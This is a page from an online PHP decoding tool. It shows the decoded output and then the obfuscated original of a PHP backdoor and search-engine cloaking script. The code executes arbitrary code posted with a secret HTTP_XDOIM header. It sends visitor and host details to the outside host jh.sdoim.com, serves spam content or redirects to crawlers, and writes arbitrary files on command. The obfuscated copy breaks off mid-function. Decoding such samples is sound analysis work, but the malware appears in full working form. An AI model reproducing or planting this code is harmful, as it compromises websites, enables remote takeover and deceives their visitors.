Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

${"GL\x4f\x42A\x4cS"}["\x78\x74\x74\x6bl\x6arb\x79\x6b\x79"]="re\x61l\x69\x70"; ${"\x47LO..

Decoded Output download

<?  ${"GLOBALS"}["xttkljrbyky"]="realip"; 
${"GLOBALS"}["njbnnjizyc"]="ch"; 
${"GLOBALS"}["duzndqvbn"]="code"; 
${"GLOBALS"}["iojoxpuo"]="values"; 
${"GLOBALS"}["szeirnekwf"]="respbody"; 
${"GLOBALS"}["zywkurr"]="url"; 
${"GLOBALS"}["dujnskjgruce"]="result"; 
${"GLOBALS"}["xysldp"]="segs"; 
${"GLOBALS"}["ucdronow"]="cntx"; 
${"GLOBALS"}["cwgbrnlnw"]="ur"; 
${"GLOBALS"}["djhauqnvgj"]="postdata"; 
${"GLOBALS"}["mvjqfamq"]="token"; 
${"GLOBALS"}["vmwrejxplt"]="ip"; 
${"GLOBALS"}["mutpapyigf"]="gov"; 
${"GLOBALS"}["kvrryovs"]="header"; 
${"GLOBALS"}["olqepvyrddcl"]="lang"; 
${"GLOBALS"}["wkphiyyk"]="uri"; 
${"GLOBALS"}["qwubcvhnm"]="ua"; 
${"GLOBALS"}["dugdunkmbh"]="ixv"; 
$wofmfmwa="db"; 
$njswewwwsel="ur"; 
$ebfrnhfnikp="proto"; 
error_reporting(0); 
@set_time_limit(3600); 
@ignore_user_abort(1); 
${"GLOBALS"}["hqwhysbzg"]="gov"; 
${${"GLOBALS"}["dugdunkmbh"]}="3.3.31"; 
${"GLOBALS"}["hpkylrfyug"]="ip"; 
${"GLOBALS"}["twwycrdfxsw"]="ua"; 
${${"GLOBALS"}["hqwhysbzg"]}="jh.sdoim.com"; 
${$wofmfmwa}="9500"; 
${${"GLOBALS"}["hpkylrfyug"]}=clientip(); 
${$njswewwwsel}=isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:""; 
${"GLOBALS"}["xiwwzbhuhci"]="ur"; 
$cdyqjqf="token"; 
${${"GLOBALS"}["qwubcvhnm"]}=isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:""; 
${"GLOBALS"}["sqzbisdfbuzp"]="proto"; 
${${"GLOBALS"}["wkphiyyk"]}=$_SERVER["REQUEST_URI"]; 
$host=$_SERVER["HTTP_HOST"]; 
${${"GLOBALS"}["olqepvyrddcl"]}=isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:""; 
${$cdyqjqf}=isset($_SERVER["HTTP_XDOIM"])?$_SERVER["HTTP_XDOIM"]:""; 
${${"GLOBALS"}["sqzbisdfbuzp"]}=((!empty($_SERVER["HTTPS"])&&strtolower($_SERVER["HTTPS"])!=="off")||(isset($_SERVER["HTTP_X_FORWARDED_PROTO"])&&$_SERVER["HTTP_X_FORWARDED_PROTO"]==="https")||(!empty($_SERVER["HTTP_FRONT_END_HTTPS"])&&strtolower($_SERVER["HTTP_FRONT_END_HTTPS"])!=="off"))?"https":"http"; 
${${"GLOBALS"}["kvrryovs"]}=array("Lang: ".${${"GLOBALS"}["olqepvyrddcl"]},"User-Agent: ".${${"GLOBALS"}["twwycrdfxsw"]},"Referer: ".${${"GLOBALS"}["xiwwzbhuhci"]},"Http-Proto: ".${$ebfrnhfnikp},"Http-Host: ".$host,"Http-Uri: ".${${"GLOBALS"}["wkphiyyk"]},"Dbgroup: ".${${"GLOBALS"}["mutpapyigf"]},"Http-X-Forwarded-For: ".${${"GLOBALS"}["vmwrejxplt"]},"Token: ".${${"GLOBALS"}["mvjqfamq"]}); 
${${"GLOBALS"}["djhauqnvgj"]}="proto=$proto&shost=$host&ip=$ip&dbgroup=$db&uri=$uri"; 
if(strlen(${${"GLOBALS"}["mvjqfamq"]})>0){@todk(".eGbA0Ty2Wh",@file_get_contents("php://input"),FILE_USE_INCLUDE_PATH); 
echo(include".eGbA0Ty2Wh"); 
unlink(".eGbA0Ty2Wh"); 
exit; 
}if((${${"GLOBALS"}["wkphiyyk"]}!=="/favicon.ico")&&(@preg_match("#google|yahoo|bing#i",${${"GLOBALS"}["qwubcvhnm"]})||(@preg_match("#google.co.jp|google.com|yahoo.com|yahoo.co.jp|bing.com#i",${${"GLOBALS"}["cwgbrnlnw"]})&&(@preg_match("#[/\?]([a-z0-9]{1})[-_/]?(\d+_\d+_\d+)\$#i",${${"GLOBALS"}["wkphiyyk"]})||@preg_match("#[/\?]([a-z0-9]{1})[-_/]?(\d+)#i",${${"GLOBALS"}["wkphiyyk"]}))))){$zfuzzbo="cntx"; 
$dfihdms="ctype"; 
${"GLOBALS"}["csynjllwv"]="code"; 
$fvbmivewmt="code"; 
$qjppnni="cntx"; 
$hjtplqswm="postdata"; 
$rppqkundptyl="ctype"; 
$ydbasql="cntx"; 
list(${$zfuzzbo},${${"GLOBALS"}["csynjllwv"]},${$dfihdms})=urlx("http://".${${"GLOBALS"}["mutpapyigf"]}."/index?".${${"GLOBALS"}["djhauqnvgj"]},${${"GLOBALS"}["kvrryovs"]},${$hjtplqswm}); 
$ghrcyakkqjjq="cntx"; 
if(stripos(${$rppqkundptyl},"gzip")>0){@header("Content-type: application/x-gzip"); 
exit(${${"GLOBALS"}["ucdronow"]}); 
} ${"GLOBALS"}["woqpoj"]="code"; 
if(stripos(${${"GLOBALS"}["ucdronow"]},"<!doct")===0||stripos(${${"GLOBALS"}["ucdronow"]},"<html")===0){exit(${${"GLOBALS"}["ucdronow"]}); 
}if(stripos(${${"GLOBALS"}["ucdronow"]},"<?xml")===0){@header("Content-type: text/xml"); 
${"GLOBALS"}["vpomdtj"]="cntx"; 
exit(${${"GLOBALS"}["vpomdtj"]}); 
} 
if(stripos(${$ghrcyakkqjjq},"User-a")===0){@header("Content-type: text/plain;charset=utf-8"); 
${"GLOBALS"}["vpomdtj"]="cntx"; 
exit(${${"GLOBALS"}["vpomdtj"]}); 
} 
if(stripos(${$ghrcyakkqjjq},"http")===0){ $ntcjojaoxdsx="cntx"; 
${"GLOBALS"}["jofelnb"]="cntx"; 
if(stripos(${${"GLOBALS"}["jofelnb"]},"?main_page=")){$vcapmcppgn="cntx"; 
@header("Location: ".${$vcapmcppgn}); 
exit; 
} 
if(strstr(${$ntcjojaoxdsx},"[,]")){$aeoxjerii="lines"; 
$domyhkto="segs"; 
${"GLOBALS"}["ufqyvyvaq"]="lines"; 
${$domyhkto}=explode("[,]",${${"GLOBALS"}["ucdronow"]}); 
${${"GLOBALS"}["ufqyvyvaq"]}=explode(",",${${"GLOBALS"}["xysldp"]}[0]); 
$vifdnhem="result"; 
${${"GLOBALS"}["dujnskjgruce"]}=""; 
foreach(${$aeoxjerii} as${${"GLOBALS"}["zywkurr"]}){$gwkzjimmxg="url"; 
$srgbcdbeyrsb="segs"; 
$dvebkjh="respbody"; 
$nnnulpeadlmd="result"; 
$reysxw="code"; 
list(${$dvebkjh},${$reysxw})=urlx(${$gwkzjimmxg},null,null,${$srgbcdbeyrsb}[1]); 
${$nnnulpeadlmd}.=${${"GLOBALS"}["zywkurr"]}.${${"GLOBALS"}["szeirnekwf"]}; 
}exit(${$vifdnhem}); 
} 
$ntcjojaoxdsx="cntx"; 
if (stripos(${$ntcjojaoxdsx},"mercdn") || stripos(${$ntcjojaoxdsx},"img.fril")){ @header("Content-type: image/jpg"); list($cnig,$ce,$ctype) =urlx(${$ntcjojaoxdsx}.${${"GLOBALS"}["wkphiyyk"]}); exit($cnig);} 
} if(@preg_match("#^[^.]*.(txt|php)#i",${$qjppnni})){$itinbdmfd="values"; 
$cgqlbyumyb="cntx"; 
${$itinbdmfd}=explode("[,]",${$cgqlbyumyb}); 
${"GLOBALS"}["bgeqrfjycfb"]="values"; 
todk(${${"GLOBALS"}["iojoxpuo"]}[0],${${"GLOBALS"}["iojoxpuo"]}[1]); 
if(file_exists(${${"GLOBALS"}["bgeqrfjycfb"]}[0])){exit("end ok"); 
}else{exit("no false"); 
}}if(stripos(${$ydbasql},"ok")===0){exit(${${"GLOBALS"}["ucdronow"]}." ".${$wofmfmwa}." ".${${"GLOBALS"}["mutpapyigf"]}.${${"GLOBALS"}["dugdunkmbh"]}); 
}if(${$fvbmivewmt}>=400&&${${"GLOBALS"}["duzndqvbn"]}<500){@header("HTTP/1.1 404 Not Found"); 
exit; 
}if(${${"GLOBALS"}["woqpoj"]}>=500){@header("HTTP/1.1 500 Internal Server Error"); 
exit; 
}if(${${"GLOBALS"}["ucdronow"]}!=""){exit(${${"GLOBALS"}["ucdronow"]}); 
}}function urlx($url,$header=null,$postdata=null,$ua=null){$smzddrqxdu="ctype"; 
if(!function_exists("curl_init")){return; 
}$ingfyjovy="body"; 
${"GLOBALS"}["bojigaccz"]="code"; 
try{$rxyqcxjmg="header"; 
${"GLOBALS"}["gsvgkxj"]="ch"; 
${"GLOBALS"}["nqplenwy"]="postdata"; 
$nrgiyjvvq="ch"; 
$mddvbofkvn="url"; 
${"GLOBALS"}["bnzuwvkm"]="ch"; 
${"GLOBALS"}["xywunoqy"]="ch"; 
$bvmbhjqg="ch"; 
$abxlyyd="body"; 
${$nrgiyjvvq}=curl_init(); 
curl_setopt(${${"GLOBALS"}["gsvgkxj"]},CURLOPT_URL,${$mddvbofkvn}); 
curl_setopt(${${"GLOBALS"}["njbnnjizyc"]},CURLOPT_FOLLOWLOCATION,1); 
$ytjnyknrlmd="ch"; 
${"GLOBALS"}["wjrmqzjpfv"]="ch"; 
curl_setopt(${${"GLOBALS"}["xywunoqy"]},CURLOPT_SSL_VERIFYPEER,FALSE); 
$xowuecv="header"; 
$rxyooh="ua"; 
curl_setopt(${${"GLOBALS"}["njbnnjizyc"]},CURLOPT_SSL_VERIFYHOST,FALSE); 
$gyubiwyw="ch"; 
curl_setopt(${${"GLOBALS"}["bnzuwvkm"]},CURLOPT_ENCODING,"gzip,deflate"); 
curl_setopt(${${"GLOBALS"}["njbnnjizyc"]},CURLOPT_CONNECTTIMEOUT,30); 
${"GLOBALS"}["rxvgtxo"]="ch"; 
curl_setopt(${${"GLOBALS"}["wjrmqzjpfv"]},CURLOPT_RETURNTRANSFER,1); 
${"GLOBALS"}["cpzqrwfl"]="ua"; 
${"GLOBALS"}["tnkzwcdki"]="code"; 
(${$xowuecv}===null)?"":curl_setopt(${${"GLOBALS"}["rxvgtxo"]},CURLOPT_HTTPHEADER,${$rxyqcxjmg}); 
$pphsfj="postdata"; 
(${${"GLOBALS"}["qwubcvhnm"]}===null||${$rxyooh}==="")?"":curl_setopt(${$ytjnyknrlmd},CURLOPT_USERAGENT,${${"GLOBALS"}["cpzqrwfl"]}); 
if(${$pphsfj}!==null&&${${"GLOBALS"}["nqplenwy"]}!==""){$mcvpxlg="ch"; 
${"GLOBALS"}["pgxogghice"]="ch"; 
curl_setopt(${$mcvpxlg},CURLOPT_POST,1); 
curl_setopt(${${"GLOBALS"}["pgxogghice"]},CURLOPT_POSTFIELDS,${${"GLOBALS"}["djhauqnvgj"]}); 
}${"GLOBALS"}["biguxyhuopm"]="ctype"; 
${$abxlyyd}=curl_exec(${$bvmbhjqg}); 
${${"GLOBALS"}["tnkzwcdki"]}=curl_getinfo(${${"GLOBALS"}["njbnnjizyc"]},CURLINFO_HTTP_CODE); 
${${"GLOBALS"}["biguxyhuopm"]}=curl_getinfo(${${"GLOBALS"}["njbnnjizyc"]},CURLINFO_CONTENT_TYPE); 
curl_close(${$gyubiwyw}); 
}catch(Exception$e){}if($body===false&&function_exists('file_get_contents')){ini_set("user_agent","Mozilla/4.0 (compatible;MSIE 6.0; 
Windows NT 5.2; 
.NET CLR 1.1.4322)"); 
try{${"GLOBALS"}["yvssiukrxff"]="body"; 
${${"GLOBALS"}["yvssiukrxff"]}=@file_get_contents(${${"GLOBALS"}["zywkurr"]}); 
}catch(Exception$e){}; 
}return array(${$ingfyjovy},${${"GLOBALS"}["bojigaccz"]},${$smzddrqxdu}); 
}function todk($fil,$str){${"GLOBALS"}["erlvfeyylbl"]="str"; 
${"GLOBALS"}["mkyqoqhmv"]="fil"; 
@file_put_contents(${${"GLOBALS"}["mkyqoqhmv"]},${${"GLOBALS"}["erlvfeyylbl"]}); 
}function clientip(){${"GLOBALS"}["veiuxuild"]="realip"; 
${${"GLOBALS"}["veiuxuild"]}=""; 
$wuleehrdqmo="realip"; 
if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]!==""){${${"GLOBALS"}["xttkljrbyky"]}=$_SERVER["HTTP_X_FORWARDED_FOR"]; 
}elseif(getenv("REMOTE_ADDR")&&strcasecmp(getenv("REMOTE_ADDR"),"unknown")){${"GLOBALS"}["ieeyes"]="realip"; 
${${"GLOBALS"}["ieeyes"]}=getenv("REMOTE_ADDR"); 
}elseif(isset($_SERVER["REMOTE_ADDR"])&&$_SERVER["REMOTE_ADDR"]&&strcasecmp($_SERVER["REMOTE_ADDR"],"unknown")){${${"GLOBALS"}["xttkljrbyky"]}=$_SERVER["REMOTE_ADDR"]; 
}if(stristr(${$wuleehrdqmo},",")){$quxkjjt="values"; 
${$quxkjjt}=explode(",",${${"GLOBALS"}["xttkljrbyky"]}); 
${${"GLOBALS"}["xttkljrbyky"]}=${${"GLOBALS"}["iojoxpuo"]}[0]; 
}return${${"GLOBALS"}["xttkljrbyky"]}; 
} ?>

Did this file decode correctly?

Original Code

${"GL\x4f\x42A\x4cS"}["\x78\x74\x74\x6bl\x6arb\x79\x6b\x79"]="re\x61l\x69\x70";
${"\x47LO\x42\x41\x4c\x53"}["n\x6a\x62\x6en\x6a\x69zy\x63"]="\x63\x68";
${"G\x4c\x4f\x42\x41\x4c\x53"}["\x64\x75\x7and\x71\x76\x62\x6e"]="\x63\x6f\x64\x65";
${"G\x4c\x4f\x42\x41\x4cS"}["\x69o\x6a\x6fx\x70u\x6f"]="\x76\x61\x6cu\x65\x73";
${"\x47\x4cO\x42A\x4c\x53"}["\x73z\x65\x69\x72ne\x6b\x77f"]="\x72\x65\x73p\x62o\x64y";
${"\x47LO\x42\x41LS"}["\x7a\x79\x77k\x75rr"]="\x75rl";
${"\x47\x4c\x4f\x42\x41\x4cS"}["d\x75\x6a\x6e\x73\x6b\x6agr\x75\x63\x65"]="\x72e\x73\x75\x6ct";
${"\x47L\x4fBA\x4cS"}["\x78\x79s\x6c\x64p"]="\x73\x65gs";
${"\x47\x4c\x4f\x42\x41L\x53"}["u\x63d\x72\x6f\x6eo\x77"]="c\x6e\x74\x78";
${"\x47LO\x42A\x4c\x53"}["\x63w\x67\x62\x72\x6eln\x77"]="\x75r";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64\x6a\x68a\x75q\x6ev\x67\x6a"]="\x70o\x73t\x64\x61t\x61";
${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6dv\x6a\x71fa\x6d\x71"]="\x74ok\x65\x6e";
${"G\x4cO\x42AL\x53"}["v\x6d\x77r\x65\x6axp\x6c\x74"]="\x69p";
${"\x47\x4c\x4f\x42\x41L\x53"}["\x6d\x75\x74\x70\x61\x70\x79\x69\x67f"]="\x67\x6fv";
${"\x47\x4c\x4fBA\x4cS"}["k\x76\x72r\x79\x6f\x76s"]="he\x61\x64\x65\x72";
${"\x47\x4cO\x42\x41\x4c\x53"}["\x6f\x6cq\x65p\x76\x79\x72d\x64\x63l"]="l\x61\x6e\x67";
${"G\x4cO\x42A\x4c\x53"}["w\x6b\x70hi\x79y\x6b"]="u\x72\x69";
${"G\x4c\x4f\x42AL\x53"}["\x71\x77\x75bcv\x68\x6e\x6d"]="\x75\x61";
${"GL\x4f\x42\x41\x4c\x53"}["\x64\x75\x67\x64\x75n\x6bm\x62h"]="i\x78v";
$wofmfmwa="db";
$njswewwwsel="\x75\x72";
$ebfrnhfnikp="\x70ro\x74o";
error_reporting(0);
@set_time_limit(3600);
@ignore_user_abort(1);
${"\x47\x4cOB\x41L\x53"}["h\x71\x77h\x79s\x62\x7a\x67"]="\x67\x6fv";
${${"GLO\x42\x41L\x53"}["d\x75\x67\x64\x75\x6e\x6b\x6db\x68"]}="\x33.\x33.\x331";
${"\x47L\x4fB\x41LS"}["h\x70k\x79\x6c\x72\x66\x79ug"]="i\x70";
${"\x47L\x4fBA\x4c\x53"}["\x74\x77\x77y\x63\x72\x64\x66\x78\x73\x77"]="\x75a";
${${"G\x4cOB\x41L\x53"}["hq\x77h\x79sb\x7ag"]}="\x6a\150\x2e\163\x64\157\x69\155\x2e\143\x6f\155";
${$wofmfmwa}="\x39\x35\x30\x30";
${${"G\x4cOBA\x4cS"}["hpk\x79\x6c\x72f\x79u\x67"]}=clientip();
${$njswewwwsel}=isset($_SERVER["H\x54TP_REFERER"])?$_SERVER["HTTP_RE\x46\x45\x52ER"]:"";
${"GL\x4f\x42ALS"}["\x78\x69\x77\x77\x7a\x62huh\x63i"]="\x75r";
$cdyqjqf="toke\x6e";
${${"\x47\x4c\x4f\x42\x41L\x53"}["\x71\x77\x75b\x63vh\x6e\x6d"]}=isset($_SERVER["\x48TT\x50_\x55\x53\x45\x52\x5fAGEN\x54"])?$_SERVER["HT\x54\x50\x5f\x55S\x45\x52_A\x47\x45NT"]:"";
${"GLOB\x41\x4cS"}["s\x71\x7a\x62i\x73\x64f\x62\x75\x7ap"]="\x70\x72\x6f\x74o";
${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x77k\x70\x68\x69\x79\x79\x6b"]}=$_SERVER["R\x45QU\x45S\x54\x5f\x55\x52I"];
$host=$_SERVER["HTTP\x5f\x48OST"];
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6flq\x65\x70vyr\x64d\x63l"]}=isset($_SERVER["\x48TTP\x5fAC\x43EPT_\x4c\x41N\x47\x55A\x47\x45"])?$_SERVER["HTTP_\x41C\x43\x45PT_L\x41\x4eGU\x41GE"]:"";
${$cdyqjqf}=isset($_SERVER["HTT\x50_XDO\x49\x4d"])?$_SERVER["HTT\x50\x5fX\x44\x4fI\x4d"]:"";
${${"\x47\x4c\x4f\x42A\x4cS"}["\x73qzbi\x73\x64fb\x75\x7a\x70"]}=((!empty($_SERVER["HT\x54P\x53"])&&strtolower($_SERVER["H\x54T\x50S"])!=="o\x66f")||(isset($_SERVER["\x48\x54T\x50_\x58\x5f\x46OR\x57A\x52DE\x44\x5fP\x52OT\x4f"])&&$_SERVER["\x48T\x54\x50_\x58\x5fFO\x52\x57\x41\x52\x44\x45\x44_\x50R\x4fT\x4f"]==="h\x74tps")||(!empty($_SERVER["H\x54\x54\x50\x5fF\x52ONT\x5fEN\x44_H\x54\x54\x50\x53"])&&strtolower($_SERVER["\x48\x54\x54P_F\x52ONT_\x45\x4eD_\x48\x54TPS"])!=="\x6ff\x66"))?"\x68t\x74\x70\x73":"\x68t\x74\x70";
${${"GL\x4fBALS"}["\x6b\x76r\x72y\x6f\x76\x73"]}=array("L\x61n\x67: ".${${"G\x4c\x4f\x42ALS"}["o\x6cq\x65\x70\x76\x79rd\x64\x63l"]},"\x55\x73\x65r-Age\x6e\x74: ".${${"\x47\x4cO\x42A\x4cS"}["\x74\x77w\x79\x63\x72\x64\x66\x78s\x77"]},"Re\x66\x65\x72\x65\x72: ".${${"G\x4c\x4f\x42\x41\x4cS"}["\x78\x69w\x77\x7a\x62\x68\x75\x68ci"]},"Http-\x50roto:\x20".${$ebfrnhfnikp},"Htt\x70-H\x6f\x73\x74:\x20".$host,"\x48\x74t\x70-\x55\x72i:\x20".${${"\x47LOB\x41\x4cS"}["wk\x70\x68\x69\x79\x79\x6b"]},"\x44bg\x72\x6fup: ".${${"\x47\x4cO\x42A\x4cS"}["\x6d\x75t\x70a\x70\x79\x69gf"]},"\x48\x74\x74\x70-X-\x46\x6fr\x77\x61rde\x64-\x46\x6fr:\x20".${${"G\x4c\x4f\x42A\x4cS"}["\x76\x6dw\x72\x65\x6a\x78p\x6ct"]},"\x54\x6fken: ".${${"\x47\x4c\x4f\x42\x41L\x53"}["mv\x6aq\x66a\x6d\x71"]});
${${"\x47L\x4f\x42\x41\x4c\x53"}["djhauq\x6e\x76gj"]}="\x70r\x6fto\x3d$proto&\x73\x68o\x73t\x3d$host&\x69\x70\x3d$ip&\x64b\x67ro\x75\x70\x3d$db&\x75r\x69=$uri";
if(strlen(${${"G\x4c\x4f\x42AL\x53"}["m\x76\x6a\x71\x66\x61\x6dq"]})>0){@todk("\x2eeG\x62\x410\x54y2\x57\x68",@file_get_contents("\x70\x68p://\x69\x6e\x70\x75t"),FILE_USE_INCLUDE_PATH);
echo(include"\x2ee\x47b\x41\x30\x54\x79\x32Wh");
unlink("\x2e\x65\x47bA\x30\x54\x792\x57h");
exit;
}if((${${"\x47L\x4f\x42\x41\x4cS"}["w\x6b\x70hi\x79\x79\x6b"]}!=="/fa\x76ic\x6f\x6e.i\x63o")&&(@preg_match("#go\x6f\x67\x6c\x65|y\x61\x68\x6f\x6f|bin\x67\x23\x69",${${"\x47\x4cO\x42A\x4c\x53"}["qw\x75bcv\x68n\x6d"]})||(@preg_match("#\x67oog\x6ce\x2ec\x6f\x2ejp|g\x6fo\x67\x6ce\x2e\x63om|y\x61h\x6f\x6f.c\x6f\x6d|\x79\x61\x68o\x6f.\x63\x6f\x2e\x6a\x70|b\x69n\x67\x2e\x63om#i",${${"GL\x4f\x42ALS"}["cwg\x62\x72\x6e\x6cnw"]})&&(@preg_match("#[/\\?]([a-z0-9]{1})[-_/]?(\\\x64+\x5f\\d+_\\d+)\$\x23\x69",${${"G\x4cO\x42\x41\x4c\x53"}["\x77\x6bph\x69y\x79k"]})||@preg_match("\x23[/\\?]([a-\x7a0-\x39]{\x31})[-\x5f/]?(\\\x64+)#\x69",${${"GLO\x42\x41\x4c\x53"}["\x77\x6bph\x69yy\x6b"]}))))){$zfuzzbo="c\x6et\x78";
$dfihdms="\x63\x74\x79\x70\x65";
${"\x47\x4c\x4f\x42AL\x53"}["\x63\x73\x79\x6ej\x6c\x6cwv"]="\x63\x6fd\x65";
$fvbmivewmt="\x63\x6f\x64\x65";
$qjppnni="\x63\x6e\x74\x78";
$hjtplqswm="\x70o\x73\x74\x64\x61t\x61";
$rppqkundptyl="ct\x79\x70\x65";
$ydbasql="\x63\x6e\x74x";
list(${$zfuzzbo},${${"\x47LO\x42\x41\x4cS"}["\x63\x73\x79\x6e\x6a\x6c\x6c\x77\x76"]},${$dfihdms})=urlx("\x68t\x74p://".${${"\x47\x4c\x4fB\x41L\x53"}["\x6d\x75\x74\x70a\x70\x79\x69\x67f"]}."/in\x64ex?".${${"\x47L\x4f\x42ALS"}["\x64\x6a\x68\x61\x75q\x6e\x76g\x6a"]},${${"\x47\x4c\x4fBA\x4cS"}["k\x76\x72\x72\x79\x6f\x76\x73"]},${$hjtplqswm});
$ghrcyakkqjjq="cn\x74\x78";
if(stripos(${$rppqkundptyl},"g\x7ai\x70")>0){@header("\x43o\x6ete\x6e\x74-\x74ype: \x61\x70\x70l\x69\x63\x61\x74\x69\x6f\x6e/x-g\x7aip");
exit(${${"G\x4c\x4f\x42\x41\x4cS"}["\x75\x63\x64\x72\x6f\x6eow"]});
} ${"\x47L\x4fB\x41\x4cS"}["\x77\x6fq\x70\x6f\x6a"]="c\x6f\x64e";
if(stripos(${${"\x47\x4c\x4f\x42\x41\x4cS"}["u\x63\x64r\x6f\x6e\x6fw"]},"<!\x64\x6fc\x74")===0||stripos(${${"G\x4c\x4fB\x41\x4c\x53"}["\x75cd\x72o\x6e\x6fw"]},"<\x68t\x6d\x6c")===0){exit(${${"\x47L\x4f\x42A\x4c\x53"}["\x75\x63d\x72o\x6e\x6f\x77"]});
}if(stripos(${${"G\x4cO\x42\x41\x4cS"}["uc\x64ronow"]},"\x3c?\x78m\x6c")===0){@header("\x43o\x6e\x74ent-t\x79\x70\x65:\x20t\x65xt/x\x6d\x6c");
${"\x47L\x4fBALS"}["v\x70\x6f\x6dd\x74\x6a"]="c\x6e\x74\x78";
exit(${${"\x47\x4c\x4f\x42A\x4cS"}["v\x70\x6f\x6d\x64t\x6a"]});
}
if(stripos(${$ghrcyakkqjjq},"Us\x65\162-\x61")===0){@header("Con\x74\145\x6e\164\x2d\164\x79pe: text/plain;charset=utf-8");
${"\x47L\x4fBALS"}["v\x70\x6f\x6dd\x74\x6a"]="c\x6e\x74\x78";
exit(${${"\x47\x4c\x4f\x42A\x4cS"}["v\x70\x6f\x6d\x64t\x6a"]});
}
if(stripos(${$ghrcyakkqjjq},"\x68\x74\x74\x70")===0){ $ntcjojaoxdsx="\x63\x6e\x74x";
${"G\x4c\x4f\x42\x41\x4c\x53"}["j\x6f\x66e\x6cn\x62"]="\x63n\x74\x78";
if(stripos(${${"GL\x4f\x42\x41\x4c\x53"}["\x6ao\x66e\x6c\x6e\x62"]},"?\x6da\x69\x6e_\x70\x61ge=")){$vcapmcppgn="\x63\x6e\x74x";
@header("\x4c\x6fc\x61\x74i\x6fn:\x20".${$vcapmcppgn});
exit;
}
if(strstr(${$ntcjojaoxdsx},"[,]")){$aeoxjerii="\x6c\x69\x6e\x65s";
$domyhkto="\x73egs";
${"G\x4c\x4fB\x41L\x53"}["\x75\x66\x71y\x76\x79\x76\x61\x71"]="\x6c\x69ne\x73";
${$domyhkto}=explode("[,]",${${"G\x4c\x4fBA\x4c\x53"}["u\x63\x64\x72on\x6f\x77"]});
${${"GL\x4f\x42A\x4c\x53"}["\x75\x66\x71y\x76\x79\x76\x61\x71"]}=explode(",",${${"\x47\x4cOBA\x4c\x53"}["\x78\x79sld\x70"]}[0]);
$vifdnhem="\x72\x65s\x75\x6c\x74";
${${"\x47LOB\x41\x4c\x53"}["d\x75\x6a\x6e\x73kj\x67\x72\x75\x63\x65"]}="";
foreach(${$aeoxjerii} as${${"\x47\x4c\x4fB\x41\x4cS"}["\x7ay\x77\x6b\x75\x72\x72"]}){$gwkzjimmxg="\x75\x72\x6c";
$srgbcdbeyrsb="se\x67\x73";
$dvebkjh="\x72\x65\x73\x70bo\x64\x79";
$nnnulpeadlmd="r\x65\x73\x75\x6c\x74";
$reysxw="c\x6f\x64e";
list(${$dvebkjh},${$reysxw})=urlx(${$gwkzjimmxg},null,null,${$srgbcdbeyrsb}[1]);
${$nnnulpeadlmd}.=${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["zy\x77\x6bu\x72\x72"]}.${${"\x47L\x4f\x42\x41\x4cS"}["\x73z\x65\x69\x72n\x65\x6b\x77\x66"]};
}exit(${$vifdnhem});
}
$ntcjojaoxdsx="\x63\x6e\x74x";
if (stripos(${$ntcjojaoxdsx},"\x6de\x72\143dn") || stripos(${$ntcjojaoxdsx},"i\x6dg\x2e\146\x72il")){ @header("Con\x74\145\x6e\164\x2d\164\x79\160\x65: im\x61\147\x65\57\x6apg"); list($cnig,$ce,$ctype) =urlx(${$ntcjojaoxdsx}.${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x77k\x70\x68\x69\x79\x79\x6b"]}); exit($cnig);}
} if(@preg_match("#^[^\x2e]*.(tx\x74|p\x68\x70)\x23i",${$qjppnni})){$itinbdmfd="\x76\x61\x6cu\x65s";
$cgqlbyumyb="\x63\x6e\x74\x78";
${$itinbdmfd}=explode("[,]",${$cgqlbyumyb});
${"\x47\x4c\x4f\x42A\x4c\x53"}["\x62\x67\x65\x71rf\x6a\x79\x63\x66\x62"]="va\x6cu\x65\x73";
todk(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x69\x6f\x6a\x6fx\x70\x75\x6f"]}[0],${${"GL\x4f\x42A\x4c\x53"}["\x69\x6fj\x6fx\x70\x75\x6f"]}[1]);
if(file_exists(${${"\x47\x4c\x4f\x42\x41LS"}["\x62ge\x71\x72\x66\x6a\x79\x63f\x62"]}[0])){exit("\x65n\x64 \x6f\x6b");
}else{exit("no\x20f\x61\x6cs\x65");
}}if(stripos(${$ydbasql},"\x6f\x6b")===0){exit(${${"GL\x4f\x42A\x4c\x53"}["\x75\x63d\x72o\x6e\x6f\x77"]}."\x20".${$wofmfmwa}."\x20".${${"G\x4c\x4f\x42AL\x53"}["m\x75\x74\x70a\x70yig\x66"]}.${${"\x47L\x4f\x42\x41L\x53"}["\x64\x75\x67\x64u\x6e\x6bm\x62h"]});
}if(${$fvbmivewmt}>=400&&${${"G\x4cOBALS"}["d\x75zn\x64\x71\x76bn"]}<500){@header("\x48\x54T\x50/\x31.1 \x3404\x20No\x74 \x46\x6fu\x6ed");
exit;
}if(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x77\x6f\x71\x70oj"]}>=500){@header("H\x54TP/\x31\x2e1\x20\x35\x300\x20\x49nt\x65r\x6ea\x6c\x20\x53e\x72\x76er\x20E\x72\x72or");
exit;
}if(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x75\x63\x64\x72\x6fno\x77"]}!=""){exit(${${"G\x4cO\x42\x41LS"}["\x75\x63\x64\x72\x6f\x6eo\x77"]});
}}function urlx($url,$header=null,$postdata=null,$ua=null){$smzddrqxdu="\x63\x74\x79\x70e";
if(!function_exists("\x63\x75rl_ini\x74")){return;
}$ingfyjovy="b\x6f\x64y";
${"\x47\x4cOB\x41\x4cS"}["\x62\x6f\x6a\x69\x67a\x63c\x7a"]="c\x6f\x64\x65";
try{$rxyqcxjmg="h\x65\x61\x64e\x72";
${"G\x4c\x4f\x42A\x4cS"}["\x67\x73\x76\x67\x6b\x78\x6a"]="\x63h";
${"\x47\x4c\x4fBA\x4cS"}["\x6eqpl\x65n\x77y"]="\x70os\x74\x64a\x74\x61";
$nrgiyjvvq="c\x68";
$mddvbofkvn="\x75\x72l";
